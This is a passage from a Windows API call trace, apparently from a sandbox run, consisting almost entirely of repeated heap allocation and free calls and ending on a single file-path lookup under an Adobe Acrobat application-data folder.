(HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.890] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.890] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.892] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.892] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.892] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.892] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.892] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.892] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.892] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.892] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.892] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.892] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.892] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.892] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.893] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.894] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.895] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.896] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.897] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0121.897] RtlAllocateHeap 